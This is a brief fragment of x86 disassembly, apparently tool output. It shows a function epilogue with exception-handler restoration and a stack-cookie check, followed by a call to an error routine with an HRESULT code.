mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0049dec8
mov esp, ebp
pop ebp
ret 0x10
push 0x80070216
call fcn.0040aab0
int3